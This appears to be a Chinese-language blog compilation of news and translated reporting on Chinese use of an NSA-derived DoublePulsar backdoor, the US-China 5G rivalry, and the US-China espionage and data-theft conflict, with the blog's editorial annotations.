美国当局于2017年底起诉了三名黑客，美国声称这三人是一家名为 Boyusec 的网络安全公司的幕后黑手，该公司是中国国家安全部的前线，并且攻击了 Moody’s Analytics、西门子和 Trimble 等西方公司。

该团体被认为是中国政府支持的 APT（高级持续性威胁）中的先进集合，可以自己定制黑客工具和挖掘零日漏洞。

然而，在一份报告中，赛门铁克表示，它发现有证据表明该组织在相同的恶意软件被广泛使用之前很久就已经在使用**NSA**开发的恶意软件了。

根据赛门铁克发布的图片，Buckeye 组织自2016年3月起开始使用 DoublePulsar 后门版本，超过13个月后，一群被称为 Shadow Brokers 的神秘黑客才于2017年4月在线泄露NSA黑客工具，作为更大规模缓存的一部分。

这家美国安全厂商表示，它没有看到该团队使用其他与NSA相关的恶意软件，例如 FuzzBunch 框架 —— 这是NSA网络操作员用于在受感染主机上部署 DoublePulsar 后门的常用工具。

相反，中国黑客团队使用了自己的工具 Bemstour。

但也有一个转折点。赛门铁克的研究人员表示，Buckeye 使用的 **DoublePulsar** 版本与 **Shadow Brokers** 泄露的版本不同，暗示了不同的起源。

“它似乎包含针对较新版 Windows（Windows 8.1 和 Windows Server 2012 R2）的代码，表明它是该恶意软件的新版本，”赛门铁克表示。“它还包括一层额外的混淆。”

至于中国黑客使用这个版本 DoublePulsar 的方法显示，似乎他们从未真正理解该恶意软件的全部功能。

赛门铁克表示，Buckeye 小组“通常使用[DoublePulsar]来执行创建新用户帐户的 shell 命令”，但没有意识到 DoublePulsar 拥有的更多先进秘密功能，这将使攻击者能够执行更多其他隐藏的操作。

该小组仅在一部分攻击中使用了 DoublePulsar，这表明他们并不那么信任它，相比他们自己的工具。

赛门铁克报告称，这一版本的 DoublePulsar 袭击了比利时、卢森堡、越南、香港、和菲律宾的组织 —— 通常是为了窃取信息。

在其他泄露的 NSA 工具（例如 EternalBlue 漏洞）被用于世界上一些最大的网络攻击之后，例如 WannaCry 和 NotPetya 勒索软件，Buckeye 组织在2017年中期停止使用 DoublePulsar 后门版本。

这可能是因为到那时为止，大多数网络安全供应商都能够检测到 DoublePulsar 感染，并且使用他们的 DoublePulsar 版本效率已经下降。

但最大的谜团仍然是中国黑客团队如何得到 DoublePulsar 后门的？

赛门铁克和绝大多数信息安全界都支持的理论是，**Buckeye** 团队发现了**NSA**在中国系统上部署的后门，然后他们拿去用了。

这就解释了为什么中国黑客使用的是不同版本的 DoublePulsar，与一年后被 Shadow Appkers 泄露的版本不同，很可能来自另一个来源。○

Chinese hackers were using NSA malware a year before Shadow Brokers leak. Hacker group used a unique version of the

DoublePulsar backdoor, not the one released by the Shadow Brokers.

原文

中美之间并非“贸易战” - iYouPort

关于高堡奇人

前中情局局长 Michael Morell 在华盛顿邮报发表文章说，“美国正在与中国进行不断升级的技术冷战。它并不是以特朗普经常引用的关税和贸易为中心的; 相反，它涉及中国利用技术窃取信息和盗窃技术本身”。

华为在 5G 这一重要领域的游戏中处于领先地位，是本次比赛的核心。Morell 解释了赌注：

首先……在5G网络中，将有更多的移动数据，流动速度比以往任何时候都快。那些控制这些网络的人将控制对这些数据的访问—他们将能够在很短的时间内窃取大量信息。

其次…… 5G 网络不仅可以实现间谍活动，还可以实现破坏活动。澳大利亚军事网络防御机构负责人最近指出，5G显著增加了关键基础设施可能在网络攻击中被摧毁的风险。

第三，在竞争的 5G 标准中做出的选择将影响谁最了解技术如何实施……谁拥有最好的理解，谁将在经济、网络安全和信号情报等方面占据重要的领先优势—— 即，促进其经济，保护它的秘密和窃取其竞争对手的秘密。

考虑到这一切，正如大量最近的研究和分析所显示的那样，美国有理由担心。

华为在推出 5G 网络方面有很高调的开端。此外，即使华盛顿能够说服少数盟友禁止使用华为设备，但这只会损害参与抵制的人。

欧亚集团最近的一份报告为“美国/中国排除”联盟的前景描绘了一幅黯淡的画面。从上个月发布的分析来看：

“推动建立无中国5G替代方案可能会推迟一些国家的5G部署，因为备用供应商被迫投资新的制造能力和人力资本，以便有效地大规模引入下一代网络，进一步巩固了中国的先发优势……

“在分叉的世界中，第三个希望进入这种良性循环的国家将面临关于其采用的5G网络技术和相关应用生态系统的艰难选择。政府可能会受到美国和盟国的压力，以避免依赖中国获得5G。

“与此同时，对成本更为敏感的发展中国家将发现中国的技术和相关的诱惑—例如，通过所谓的”一带一路“倡议提供的基础设施和项目融资—难以消除，‘美国/中国排除’的阵营没有类似的举措来扩大其在全球的技术影响力。“ ……

充分的高堡奇人剧情。这就是为什么一直以来我们没有评论这场争霸战。

It’s not a trade war with China. It’s a tech war. There may not be an end to this technological cold war anytime soon, but it is vital for our national security that we not cede the field. It is also vital that we win the battle for 5G.

原文

中美谍战（一）：中央情报局特工是如何被北京发现的？ - iyouport

关于高堡奇人

美国间谍网络在中国被发现，引发了北京和华盛顿之间长达十年的全球数据战争 ……

【注】这个系列是基于对三十多位现任和前任美国情报官员和国家安全官员的采访，讲述了中国在过去十年中对美国个人数据的攻击及其后果。

但是对于理解中美谍战来说，它并不完美，因为它是单向的描述 —— 绝大部分关于中国方面，对美国方面是简单的提及；但它的确暴露了一些曾经被外界错判的问题背后的真相。

我们将使用【注解】的形式纠正其一些细节错误。

去年6月，我们发布过 一篇重要的文章《所有信息都是战略性的：信息地缘政治》，在理解这篇文章的基础上，您将更容易理解本系列的第一集内容。

2013年左右，美国情报部门开始注意到一个令人震惊的模式。据三位前美国官员称，飞往非洲和欧洲国家从事敏感工作的中情局卧底间谍，正在被中国情报部门迅速并成功识别。在某些情况下，中情局人员通过护照检查后就开始受到中国特工的监视。有时，监视是如此的公开，以至于美国情报官员推测，中国希望美方知道他们已经识别出了中情局特工，从而扰乱他们的任务；然而，其他时候，监视要微妙得多，只有通过美国间谍机构自身复杂的反监视技术能力才能发现。

据这些前官员之一说，中情局一直在利用中国自己在海外日益增长的存在来会见或招募消息来源。“我们在北京接触不到他们，但在吉布提可以。在一带一路上”—— 中国价值数万亿美元的基础设施和影响力计划—— 的热图上，“你会看到我们的活动正在进行。这就是目标所在”。中情局在非洲大力招募 “俄罗斯人和中国人。他们也知道这一点”，一位前机构官员说。中国追踪美国特工的新的积极行动很可能

是对美国这些努力的回应。

如果您错过了《中国的银河帝国，和高堡奇人》

第一位前情报官员说，在中情局，这些反常现象“使各站长和部门领导感到震惊”。中国人“不应该知道”这些中情局卧底间谍的身份和位置。美国官员在缺乏确凿证据的情况下，对中国如何设法暴露其间谍感到困惑。在以前的时代，美国可能已经开始寻找内鬼了，寻找一个能够与对方分享这一关键信息的叛徒，或者可能搜索他们的记录，寻找一个秘密通信平台的漏洞。

但相反，中情局官员认为答案可能是由数据驱动的 —— 与中国的网络间谍活动有关，该活动致力于窃取大量敏感的个人隐私信息，如旅行和健康数据，以及美国政府的人事记录。美国官员认为，中国的情报人员很可能已经梳理并综合了这些大量被盗的信息，以确定美国情报官员的卧底身份。这位前情报官员说，这很可能是对这些数据集的“巧妙和专业利用”。这个消息来源说，这“不是随机或一般的。这是一个大数据问题”。

数据之争 —— 谁控制它，谁保护它，谁能窃取它，以及它如何被用于经济和安全目标—— 正在界定华盛顿和北京之间的全球冲突。

数据已经严重影响了中国的政治进程，它也正在改变美国的外交政策和全球的情报收集进程。正当中国试图将数据作为对抗美国的利剑和盾牌时，美国的间谍机构也试图渗透中国的数据流，并利用自己的大数据能力，试图准确地确定中国对美国人员和行动的了解。

本系列报道基于对三十多位现任和前任美国情报官员和国家安全官员的广泛采访，讲述了美国和中国之间的谍战故事 —— 在这场冲突中，许多人认为中国拥有关键优势，因为北京对本国公民和中国公司的网络进行了全景式的数字渗透；其跨越世界的网络间谍活动，包括成功窃取多个巨大的美国数据集；以及中国迅速综合、并可能将这些来自不同来源的巨大信息武器化的能力。

【注：中美的谍战的确有一点点不利于美国，但并不是监控力度问题 —— 斯诺登已经告诉您美国的监控力度是什么样的了；而是因为思考方式的差异，具体解释见《美国为什么会在间谍战中输给中国》。其次，任何信息都可以武器化，信息就是权力。这就是为什么中国的“墙”不会倒，也是为什么会有 TikTok 之战、华为之战等；并且有更多的墙正在建立起来。更多解释见《真正能打破墙的东西可能不是梯子：巴尔干化和互联网的未来》】

美国最高反间谍官员威廉·埃瓦尼纳 (William Evanina) 告诉《外交政策》，中国是“利用非法和合法手段在全球收集大量个人数据的主要国家之一”，“仅通过网络攻击，中国就吸走了大部分美国人的个人数据，包括关于我们的健康、财务、旅行和其他敏感信息的数据”。

这场关于数据的战争对于美国和中国的间谍机构来说具有特别重要的意义。在情报界，”信息为王，信息越多越好”，史蒂夫·瑞安说，他在2016年之前一直担任国家安全局威胁行动中心的副主任，现在是网络安全服务机构 Trinity Cyber 的首席执行官。在美苏冷战时期，情报在很大程度上是以零散和局部的形式出现的：这里是电子拦截，那里是秘密人员的报告；而今天，日常生活的数据驱动性质创造了巨大的信息集群，这些信息可以被一举夺取—— 然后可能被对手国家政府用来推动一切，从针对个别美国情报人员到支持中国国家支持的企业。

信息是当今世界上最重要的、也是最有争议的地缘政治资源。如果您错过了《所有信息都是战略性的：信息地缘政治》

现任和前任美国官员说，从根本上看，中国认为数据提供了安全。面对中国共产党（CCP）面临的内部和外部威胁，它能确保政权的稳定。正是这些威胁的结合，为中国迄今为止针对美国最积极的反间谍活动创造了动力。

中情局拒绝对这一报道发表评论。中国驻华盛顿特区大使馆没有回应多次的评论请求。

「图」

2010年，一个新十年的开端，中国官员感到非常愤怒。他们发现，美国中央情报局多年来系统性地渗透到中国政府，美国的情报资产被植入中国军队、中国共产党、中国情报机构和其他地方。一位前高级反间谍主管回忆说，这种愤怒向上辐射到“中国政府的最高层”。

从2010年到2012年左右，中国情报官员利用中情局用来与他们的特工人员秘密联络的在线系统中的一个缺陷 —— 这个缺陷首先在伊朗被发现 —— 无情地拔除了中情局在中国的间谍网络，监禁并杀害了几十人。

一位前中情局高级官员说，在中情局内部，中国的愤怒和报复性反应并不完全令人惊讶。“我们经常在内部进行对话，讨论美国政策制定者对中情局对中国的渗透程度会有什么反应”—— 也就是说，如果美

国官员像中国人一样发现一个全球对手如此彻底地渗透到他们的队伍中，他们会有多愤怒。

近日来自中国网络的照片

北京的愤怒不仅仅是因为中情局的渗透，还因为它暴露了中国的腐败程度。当中情局招募一个情报资产时，这个情报资产在一个国家的权力结构中升得越高越好。在冷战期间，很难保证中情局苏联特工的高升；使他们容易被招募的因素 —— 贪婪、意识形态、可勒索的习惯和自我—— 往往阻碍了他们的职业前景。而且，在苏联，钱能买到的东西是有限的，尤其是，没有迹象表明钱是从哪里来的。

但是，在2000年代新富起来的中国，脏钱在自由流动。平均收入仍然低于每月2000元人民币，但官员的非正式收入大大超过了他们的正式工资。不参与腐败的官员被其同事视为傻瓜，甚或风险。现金可以买到任何东西，包括职业职位，而中情局有大量的现金。

当时，中情局的情报资产往往得到了丰厚的报酬。一位前中情局官员说："在2000年代，如果你是一个站长"—— 也就是外国外交机构的最高级间谍—— "对于某些硬目标部门，你可以通过为我们工作每年赚取一百万"。("硬目标部门" 一般是指中国、俄罗斯、伊朗和朝鲜的情报机构)

据四位现任和前任官员称，在对中情局设在中国的特工网络进行调查的过程中，中国官员了解到，中情局正在秘密支付 "晋升费"—— 换句话说，就是贿赂 —— 在中国官僚机构中升职所需的费用。

这是中情局让 "心怀不满的人晋升的方法。但这不是一次性能做到的，也不仅仅是在[中国军队]中做到"，一位现任国会工作人员回忆说，"支付他们的贿赂是一个长期思考的例子，对我们来说是非同寻常的"，一位前高级反间谍官员说，"招募外国军官几乎是不可能的。这是一种利用腐败对我们有利的方式"。据一位前中情局高级官员说，当时，"晋升费" 有时高达数百万美元："发生的腐败程度相当惊人"。据另一位中情局官员说，这种补偿有时包括为在昂贵的外国大学学习的孩子支付学费和膳宿费。

中国官员注意到了这一点。"他们被迫看到了他们自己的问题，是我们的错误帮助他们看到了他们自己的问题是什么"，一位前中情局官员回忆说。"我们帮助实现了他们理论上害怕的东西"，这位国会山的工作人员说，"我们把他们吓得屁滚尿流"。

腐败越来越被视为对国内政权的主要威胁；正如当时的党委书记胡锦涛在2012年的党代会上所说：“如果我们不能很好地处理这个问题，它甚至可能 …… 导致党的崩溃和国家的衰亡”。即使在中国严格控制的媒体环境中，腐败丑闻也每天都在发生，玷污了中共在中国人民中的形象。党的腐败正在成为一个公共问题，中共领导层自己也承认这点。它为什么这么说？原因如下 …… “人权”问题真的不是战略

> “反腐败运动是关于巩固权力，但也是关于美国人如何利用*[腐败]*”，这位前高级反间谍官员说：“这与贿赂和晋升过程有关”。

美国官员认为，在私下里，中国领导人也担心腐败使中情局渗透到其内部圈子的程度。前中情局高级官员说，中情局令人难以置信的招募成功“显示了党内的制度性腐败”，“他们应该[一直]感到不安”。北京领导层意识到，不受约束的腐败不仅对党在国内的生存构成威胁；而且，它也是一个主要的反情报威胁，为中情局等敌方情报部门提供了一个可以钻入的窗口。

这对中国共产党来说是一个全球性问题。腐败官员，即使他们在任时没有被中央情报局招募，也经常在海外寻求庇护 —— 在那里，他们可以被狡猾的间谍机构窃取信息。2012年底，习近平宣布了一项新的反腐运动，导致数十万中国官员被起诉。数以千计的人受到极端胁迫性的压力，近乎于绑架，要求他们从国外回来。“反腐运动是关于巩固权力，但也是关于美国人如何利用[腐败]”，前高级反间谍官员说：“这与贿赂和晋升过程有关”。

据一位前高级情报分析员称，2013年爱德华·斯诺登的吹哨揭示了美国国家安全局对电信公司华为在中国的服务器的深度渗透，也让中国官员感到震惊。这位前分析师说：“中国官员刚刚开始了解互联网和技术是如何被如此彻底地用来对付他们的，其方式是他们在那之前完全没有概念的。在情报层面，这是由这个基本的 [吹哨] 所驱动的，北京认识到：这个不是由我们创造出来的互联网系统，正在被用来对付我们”。

【注：这段话本身没有问题，即，北京当局通过斯诺登吹哨了解到的是渗透的程度；但不是渗透的事实本身。理论上应该是从2000年初北京就意识到了互联网的工作方式有可能发生什么。但事实上，GFW并没有为北京政府做到信息权力层面的防御，它更多是个民族主义披风。斯诺登之后全球政府都开始警惕美国情报机构，这甚至没能引起根本性的改变（见《从斯诺登到中国》）；而相比下，北京政府犹如变色龙，当他们需要技术时，他们并不排斥硅谷，而当他们需要民族

主义时… 见《10年，美国巨头帮助中国构建的反乌托邦地狱》】

还有其他的涟漪效应。到2000年代末，美国情报官员观察到中国主要的民间情报机构—— 国家安全部出现了明显的专业化趋势。前美国情报官员说，在习近平的清洗行动之前，该机构内部的小规模腐败无处不在，中国的间谍有时会将行动中的资金注入他们自己的“小金库”；在国家安全部的保护下，中国政府下属的黑客有时也会兼职做网络罪犯，将他们的工作分成交给他们在情报机构的老板。

在习近平的镇压下，这些活动变得越来越难以维持。但现任和前任官员表示，中情局在中国的间谍网络被发现有助于推动这一进程，并使中国更加重视外部反间谍工作。前中情局官员说：“当他们了解到这些事情时，中国人意识到他们需要开始保护自己”。

据两位前中情局官员回忆，到2010年左右，中国安全部门已经制定了一个复杂的旅行情报计划，开发了跟踪航班和乘客名单的数据库，用于间谍活动。

前中情局高级官员说：“我们非常仔细地看了它。中国的间谍正积极地利用它进行反间谍和进攻性情报。这种能力是存在的，而且正在被利用”。前情报官员说，中国还加强了针对中转枢纽的生物识别和乘客数据的黑客攻击，包括中国情报部门成功入侵了曼谷国际机场的生物识别数据。

可以肯定的是，在发现美国情报机构对中国的渗透有多深之前，中国已经窃取了大量数据。然而，2010年至2012年期间的震荡给了北京一个动力，不仅要去追求更大、更危险的目标，而且要把处理被盗信息所需的基础设施放在一起。一位前美国国家安全局高级官员说，正是在这个时候，中国的情报机构从仅仅能够大规模窃取大型数据集过渡到实际快速筛选其中的信息以供使用。此人说，美国官员还开始观察到，中国境内的情报设施在语言和数据处理中心附近，实际上共处一地。

对美国情报人员来说，这些新的能力使中国成功入侵美国人事管理办公室（OPM）的事件更加令人心寒。在OPM的漏洞中，中国黑客窃取了2,150万现任和前任美国官员、他们的配偶和求职者的详细、通常是高度敏感的人事数据，包括健康、居住、就业、指纹和财务数据。

在某些情况下，与授予安全许可相关的背景调查的细节也被窃取——这些调查可以深入了解个人的心理健康记录、性史和性倾向，以及一

个人的海外亲属是否可能受到政府的勒索。

这位前反间谍主管说，尽管美国直到2015年才披露这一漏洞，但美国情报官员在2012年就知道了最初的OPM黑客事件。目前还不清楚入侵事件实际发生的确切时间）。

官员们说，当与旅行细节和其他被窃取的数据配对时，来自OPM漏洞的信息很可能为中国情报部门提供了关于异常行为模式、传记信息或职业里程碑的有力线索，这些信息标志着一个人是否可能是美国的间谍。

这些官员担心，现在，中国可以搜索被怀疑的美国间谍何时出现在某些地方—— 而且有可能还包括与他们的中国消息来源的秘密会面。美国最高反间谍官员埃瓦尼纳说，中国“收集大量个人数据，以帮助它追踪世界各地的持不同政见者或其他被认为是中国的敌人”。

许多人立即感觉到了异样。中情局的一些人回忆说，前中情局中国问题分析员盖尔·赫特（Gail Helt）对OPM漏洞的反应是：“哦，我的上帝，这对所有曾经到过中国的人意味着什么？尤其是对于我们正式招募的人，可能被怀疑与我们交谈的人，在那里有家人的人，这又意味着什么？这对情报机构未来招募人员的努力又意味着什么？这很可怕。绝对的可怕”。

许多人担心余震会大面积发生。“我们担心的不是[OPM黑客事件]会限制来自中国境内的情报”，一位前高级国家安全官员说，“美国和中国在全球范围内相互对抗。它打开了一个全球问题的潘多拉盒子”。

另一些人则更加不甘心，尽管他们的不安并没有减少。中情局前高级官员杜扬·诺曼（Duyane Norman）说：“你的工作是假设基于良好的技术”—— 而不是理论上由掩护提供的保密 —— “将保护你的情报资产和行动”。“所以OPM并不是什么惊人的事。它是对我们已经知道存在的新威胁的确认”。

还有其他不好的预兆。在同一时期，美国官员得出结论，俄罗斯情报官员可能利用国务院真正的雇员和卧底中情局官员之间的工资支付差异，确定了一些在美国驻莫斯科大使馆工作的中情局间谍。官员们认为，这种洞察力可能来自于中国人向俄罗斯同行提供的从OPM黑客事件中获得的数据。美国官员还想知道，OPM黑客事件是否与中国情报部门试图招募在美国情报机构工作的美籍华人翻译在中国探亲时的行为有关。这位前高级反间谍官员回忆说，“我们也认为他们试图让讲普通话的人申请在美国情报界担任翻译的工作”。美国官员认为，中

国情报部门正在向他们的特工提供“关于如何通过测谎仪的指示”。

如何欺骗测谎仪，见《如何欺骗，和如何防骗：在灾难中幸存的方法（7）》

但在OPM漏洞事件之后，异常情况开始成倍增加。2012年，美国高级间谍猎人开始对一些“令人头疼的问题”感到困惑。据这位前反间谍主管说，在一些情况下，美国官员的配偶在国外被中国和俄罗斯的情报人员接触，他们的敏感工作本应很难被识破的。在一个案例中，中国特工人员试图骚扰和诱捕一名美国官员的妻子，当时她正陪同她的孩子到中国进行学校实地考察。“我们的做法是，通常在旅行结束时，红灯会亮起[是指外国情报部门会确定潜在的嫌疑人]。但这一切是从第一天就开始了的，从机场开始的”，这位前官员说。

> 一些人担心中国可能有意秘密更改了个人 *OPM* 文件中的数据，以供以后在招聘尝试中用作杠杆。

曾在2014年至2016年担任国防情报局副局长的前中情局高级官员道格拉斯·怀斯(Douglas Wise)回忆说，对中国人现在所知道的情况的担忧，促使整个美国情报界围绕OPM和其他黑客事件进行了损害评估。一些人担心，中国可能有目的地秘密改变了个人在OPM文件中的数据，以便以后在招聘中作为筹码使用。官员们还认为，中国可能通过OPM的数据进行筛选，试图为寻求渗透到美国政府的中国情报人员制作最理想的档案 —— 因为他们现在对美国政府在考虑敏感职位申请人时寻找什么，以及不寻找什么有了详细的了解。怀斯说，美国情报机构改变了他们的筛选程序，以预测中国新的、更细微的人工间谍活动的企图。

中国人现在对美国系统的运作有了前所未有的洞察力。与此同时，美国在与中国打交道时是闭着眼睛在飞。随着中情局在中国精心建立的特工网络被彻底摧毁，关于如何处理中国的争论将变得越来越激烈——尤其是，伴随着不断膨胀的中国的野心。○

—— 未完待续 ——

China Used Stolen Data to Expose CIA Operatives in Africa and Europe

原文

中美谍战（二）：北京洗劫数据，美国消息来源在中国被封锁 - iyouport

关于高堡奇人

"在某种程度上，这就是该游戏的玩法"。"间谍活动就是如此"。情报官员不会同意一项他们自己都不愿意遵守的协议。

如果您错过了第一集，在这里看到《中美谍战（一）：中情局特工是如何被北京发现的？》。

2013年初，当共产党总书记习近平准备担任中国国家主席时，西方很少有人知道他是个什么样的领导人。同年1月，《纽约时报》经验丰富的中国记者尼克·克里斯托夫（Nick Kristof）写道，习近平“将带头恢复经济改革，可能还会有一些政治上的放松”。

现在你知道了，他完全说反了。

纽约时报做出的是一个完全错误的评估。但即使在美国政府内部，那时候对中国及其意图的了解也处于一个低点。在2000年代，美国的情报部门对北京的运作相对自信。但在中国数十年来最大的政治转型期间，美国官员正透过一个越来越不透明的玻璃看问题。

据一位前美国国家安全官员说，人事管理办公室（OPM）的黑客攻击（曾帮助中国人识别美国情报官员的卧底）和中情局中国情报资产网络的消失这两场灾难大大“影响了”美国对中国事件的了解的质量。这位消息人士回忆说，向高级政策制定者渗透的高质量情报报告明显减少，“情况不一样了”。

当美国官员努力尝试掌握太平洋另一边发生的事时，中国正在加倍地进行黑客攻击，接下来就是前所未有的大量数据被盗，并被输入一个日益复杂的情报机构。

奥巴马时期的一位高级官员说，当时，试图制定新中国政策的白宫官员对习近平的性格和意图进行了辩论。政府官员在对习近平的看法上

存在分歧。这位前官员回忆说，有一套“分析”导致一些人认为习近平是一个可能的改革者：是的，他是中国共产党的产物，但他是一个能够改善中国制度中一些过度行为的领导人。然而，其他人则认为习近平是一个“新毛泽东主义者”：也就是说，是一个危险的强硬派。这位官员回忆说，双方的观点差异“非常明显”。

其他曾在美国总统奥巴马手下任职的官员回忆说，他们对这位新任中国国家主席有更多共识。这位前国家安全官员说：“对习近平从来没有任何幻想”。但最终，这位消息人士说，“没有人能够预见到他将成为什么样的领导人”。这位官员还回忆说，正如习近平领导的大清洗很快显示的那样，“共产党的领导层也没有看到这一点”。

一位前中情局高级官员回忆说，在中情局内部，高级官员对习近平的崛起也存在分歧，甚至可能比白宫的官员更怀疑。这位消息人士说：“有些人一厢情愿地认为，习近平会来推动某种持续的改革”；“但绝大多数人（在机构内部）认为该党正朝着政治强人模式发展。这在当时是一场大辩论”。但是，这位消息人士回忆说：“中情局获得的消息表明，北京政党要重新集中力量来维持权力”。

前中情局中国问题分析员盖尔·赫特说：“华盛顿对习近平将要追求的东西感到担忧，包括在国内自由方面，也包括他对美国的态度。中国共产党是腐败的，说得客气一点，但最初有迹象表明，他将清理腐败，有一丝希望。然后很明显，他要进行清洗，创造一个个人崇拜”。

情报方面的一些差距是由于美国官员变得更加谨慎。这位前国家安全官员回忆说：“鉴于我们的保护罩被刺破[指OPM漏洞]，对把我们的官员派往外地存在着不情愿、担忧或焦虑。我们并不完全知道他们对我们的了解究竟有多少”。据大卫·桑格（David Sanger）在2018年出版的《完美武器》（The Perfect Weapon）一书中说，随后，中情局官员计划在中国执行任务的“几十个职位”被取消。一位前高级情报分析员说：“多年来，中情局不愿意在中国进行前瞻性行动”，因为它的信心被情报资产的流失和其他破坏行为所动摇。

> 先前的泄密事件加剧了美国官员与中国同行进行日常沟通的难度。

这位前分析师说，2012–2014年期间，中国也在加强对美国间谍活动的数字防御。这是“一两年内的渐进式变化，因为中国领导人开始将洞察力融入到增加他们对自己的互联网空间的控制中”。美国网络间谍的情报收集工作因此而受到影响。前官员说，中国以国内为重点的

数字监控网的收紧，如其越来越多地使用生物识别技术和闭路电视监视器，也使美国在那里收集情报更加困难。

之前的泄密事件凸显了美国官员与中国同行进行常规沟通的难度。2010年和2011年，维基解密发布了大量的美国外交电报，使一些中国官员在国内危险地暴露了他们与美国同行的相对坦率的讨论，这些电报中都有记录。（例如，电报中提到的两名中国政府或国家媒体人士在泄密后事业受阻）。在过去，这种相对开放的外交交往在帮助美国官员了解中国方面发挥了重要作用。一位在中国有丰富经验的现任国务院官员回忆说："在泄漏之后，中国官员变得更不愿意交谈，因为他们不相信我们能保守秘密"。2013 年 9 月 2 日，薄熙来在北京被判刑的画面。这位前中国政治家因受贿、挪用公款和滥用职权被判处无期徒刑。

尽管美国对中国保持着大量的窃听和网络间谍能力，但中国官员在许多渠道上变得更加不愿意说话。据一位前国防情报局官员称，这不仅仅是出于爱德华·斯诺登吹哨和其他披露的知识，即 美国方面一直在全球拦截通信；并且，也是出于对他们被中国自己的安全部门监视的担心。2012年薄熙来事件后 —— 习近平对党内的第一次清洗，使政府高层官员和军队官员都被清洗—— 中国官员变得更加致力于为任何敏感事项进行面对面的会谈。"泄露国家机密"，不管是有意还是无意，都是对习近平的目标人物提出的最常见指控之一。

随着习近平开始全面清洗党内和重组国家，关于他的性格和意图的答案变得更加清晰了—— 至少是对奥巴马政府的一些成员而言。"关于习近平将成为什么样的领导人的争论，对我们中的一些人来说很早就有了答案"，这位奥巴马时代的官员回忆说，"只是有些人并没有那么快看到这一点"。

对这位官员来说，2013年习近平和奥巴马在南加州的会晤是一个直接的启示。此人说，习近平将以越来越多的专制主义进行统治，这 "甚至不再是一个公开的问题"。在接下来的几年里，习近平的强硬政策将扩展到中国生活的几乎每一个领域，从估计有**100**万维吾尔人在新疆被拘留、监视和酷刑；到大规模压制言论自由；以及所谓的反腐清洗，席卷了数十万中国官员。这位奥巴马时代的官员说，但美国政府往往仍然不愿意采取行动。

是的，美国不会在这种情况下采取行动，因为这些恶行没有触犯到美国的利益。那么什么时候才会行动呢？《中国的银河帝国，和高堡奇人》

「图」

与此同时，黑客活动继续进行。北京的间谍正在以几乎是奥林匹克的规模洗劫美国人的数据。除了策划OPM的漏洞外，与中国情报部门有关的黑客在2014年对酒店巨头万豪的大规模入侵中窃取了超过3.83亿人的私人信息，包括护照和信用卡数据；在2014年对主要医疗保险供应商 Anthem 的入侵中窃取了超过7800万美国人的个人信息；入侵美国航空公司、联合航空公司和顶级旅游预订供应商 Sabre（中国旅行情报计划的主要目标）的网络；以及钻入属于美国海军的计算机系统，窃取了与10万多名海军人员有关的敏感数据。 侵入属于美国海军部的计算机系统，窃取了与10万多名海军人员有关的敏感数据，以及其他对美国私营和公共部门的渗透。一位前国家安全局高级官员回忆说，中国人“总是像胡佛一样，吸食成山的数据，超过世界上任何其他东西”。

尤其是美国的情报和国家安全官员，对中国的行动越来越愤怒。奥巴马政府开始对中国的网络间谍活动采取更积极的措施，在2014年起诉了五名中国军事黑客，指控他们针对美国公司的大规模间谍活动，这是美国有史以来第一次公开起诉民族国家黑客，并威胁要对中国政府进行制裁。但是，奥巴马领导下的美国高级官员仍然认为，有一些关键的领域可以与中国的同行进行相互合作，尽管范围很窄。

一个重点是放宽签证程序。2014年，奥巴马在访问北京时宣布，美国和中国已达成互惠协议，将签证期限从目前的一年延长至10年，商务和旅游签证延长至5年—— 这对旅游和教育交流有很大的潜在推动作用。

一些美国情报官员对此感到震惊。在中国方面，延长签证的赌注是“国家安全部领导的努力”，一位现任美国高级情报官员说，他指的是中国的主要民间情报组织 —— 国家安全部。“这是一个以情报为基础的过程，他们想达到一个地方，在那里他们可以获得为期**10**年的美国签证，在美国政府不知情的情况下即时进出美国”，这位官员回忆说，就这个问题在白宫举行了“数百次会议”。奥巴马一心想要通过谈判达成一些协议。而政府方面，尽管我们与之争论不休，但并不觉得有什么大不了的。他们认为这是对贸易和学术界的促进 —— 所有事都是真的，但整个 [情报界] 和联邦调查局都在说，“啊啊啊，这样一来他们 [北京] 将增加他们已经过度的非传统情报收集活动”。

第二个尝试合作的领域是网络空间。2015年9月，在另一次公共外交活动中，恰逢习近平对华盛顿的首次国事访问，奥巴马和习近平宣布了一项新的重大双边协议，禁止任何国家通过黑客手段窃取商业机

密。该协议设立了一个正式的双边对话机制，由两国的高级官员领导，其中一方可以对另一方的所谓违规行为提出投诉。

然而，即使是这些讨论，也因美国高级官员对中国的行动和美国自身利益的冲突或矛盾的观点，而陷入困境。前国家安全官员回忆说，在内部，奥巴马官员曾就谈判的适当范围和政府的红线进行了辩论——“我们将坚持什么，以便可以让我们的脚离开他们的脖子”。

政府内部的一些人曾梦想着有一个更大的交易。例如，四名前官员说，在2015年协议的筹备过程中，奥巴马时代的高级官员提出了扩大潜在协议的想法，以包括针对个人信息的网络间谍活动，如在万豪和安泰保险的漏洞中挖出的数据。这是8月22日的消息。如这类数据泄露是非常危险的，在“国内反恐”的热潮下，这种危险会越来越多

> 但是，来自情报局内部的大部分阻力是源于美国自己的网络间谍也在国外从事广泛的个人数据黑客攻击活动。

美国情报机构对此表示反对。这位前国家安全官员回忆说，他们 “坚决认为讨论窃取个人身份信息的问题不在谈判范围内”。“在过去的几个月里，我们一直对中国人偷窃我们的东西感到非常生气。我意识到我们的情报界并没有像我想象的那样得到锻炼”。情报界的反应是 “强调和毫不含糊” 的：其他类型的黑客攻击必须排除在交易之外。一些反击是由于情报官员根本不相信中国会遵守该协议。前国防情报局副局长道格拉斯·怀斯说：“我们认为这是政策制定者的自慰，因为没有对不遵守的行为进行惩罚。我们采取了一种非常愤世嫉俗的观点”。（到2018年，美国官员公开表示，中国普遍违反了该协议）。

但是，来自情报局内部的大部分阻力是因为美国的网络间谍也在国外广泛地从事个人数据的黑客攻击。奥巴马政府的网络安全沙皇迈克尔·丹尼尔说：“在某种程度上，这就是该游戏的玩法”。“间谍活动就是如此”。

事实上，这位前高级情报分析员说，“我们没有在**OPM**上大动干戈的原因是我们不想开创这样的先例，即 你不能使用网络操作 **[**情报**]** ”—— 也就是黑客—— “从一个国家的公民那里获取个人身份信息”。情报官员不会同意一项他们自己都不愿意遵守的协议。

「图」

从根本上说，当时，美国官员希望对中国政府的内部运作有更多的了

解。他们已经知道的事情已经足够令人不安。据三位前官员说，到2010年代中期，美国情报机构已经秘密地钻进了由中国国家安全部控制的在线网络—— 这些网络中储存着被黑出来的美国公司和美国政府实体的数据。

